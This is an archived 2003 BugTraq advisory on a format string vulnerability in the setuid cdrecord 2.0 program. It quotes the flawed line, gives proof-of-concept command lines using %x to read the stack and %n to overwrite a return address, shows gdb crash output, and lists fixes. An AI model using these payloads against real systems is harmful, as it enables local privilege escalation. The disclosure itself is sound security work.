BugTraq
Opera 7.11 java.util.zip.* Vulnerability May 10 2003 11:28PM
Marc Schoenefeld (schonef uni-muenster de) (1 replies)
cdrtools2.0 Format String Vulnerability May 13 2003 08:27AM
Stefano Di Paola (st0r1e libero it)

------------------------------------------------------------------------
----
PACKAGE : cdrtools
VERSION : 2.0
SUMMARY : Format String
SEVERITY : local root exploit if suid (on several distros)
DATE: : 2003-05-05
------------------------------------------------------------------------
----

Hi,
i would inform you that there is a format string vulnerability
in cdrecord 2.0 and in particular in libscg/scsiopen.c in line 273, i
suppose:

--------------------------------------------------------------
271 if (scg__open(scgp, devname) <= 0) {
272 if (errs && scgp->errstr)

>>>273 js_snprintf(errs, slen, scgp->errstr);<<<<

274 scg_sfree(scgp);
275 return ((SCSI *)0);
276 }
_______________________________________________________
!------- W A R N I N G -----------!
!--- this is an exploitable vulnerability! ---!
!----------------------------------------------!
Cdrecord is present in several distros as setuid program so this is a real
security hole.

e.g.
$ ./cdrecord dev="AAAA|%x%x%x%x%x%x%x%x%x%x%x" int.c

Cdrecord 2.0 (i586-pc-linux-gnu) Copyright (C) 1995-2002 Jrg Schilling
scsidev: 'AAAABBBBCCCC|%x%x%x%x%x%x%x%x%x%x%x%x'
devname: 'AAAABBBBCCCC|%x%x%x%x%x%x%x%x%x%x%x%x'
scsibus: -2 target: -2 lun: -2
Warning: Open by 'devname' is unintentional and not supported.
./cdrecord: File o directory inesistente. Cannot open
'AAAABBBBCCCC|65bffff6743808b7c8ffffffff000fffffffe4141414142424242.
Cannot open SCSI driver.
./cdrecord: For possible targets try 'cdrecord -scanbus'. Make sure you
are root.
as you can see th last %x refers to AAAABBBBCCC so i can use %n for
overwriting. anything i want:
e.g. i can find on the stack the location of the return address...
let's say 0xbffcffcc:
$./cdrecord dev=`printf
"\xec\xed\xff\xbfBBBBCCCC|%%x%%x%%x%%x%%x%%x%%x%%x%%n"`
c/int.c
.....snip....
(core dump)
$ gdb `which cdrecord` core -q
....snip...
#0 0x3f in ?? ()
(gdb) bt
#0 0x3f in ?? ()
#1 0x8065451 in scg_open ()
#2 0x8049a3b in main ()
...

so it's exploitable.

Solutions:

A. Updated package can be found on:

ftp://ftp.berlios.de/pub/cdrecord/alpha/cdrtools-2.01a14.tar.gz

B. Replace line 273 of liscg/scsiopen.c with :
js_snprintf(errs, slen, "%s", scgp->errstr);

C. remove the suid bit with:
chmod 755 `which cdrecord`

Regards,
Stefano Di Paola

------------------

Stefano Di Paola
Software Engineer
stefano.dipaola1<at>tin<dot>it
st0r1e<at>libero<dot>com

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus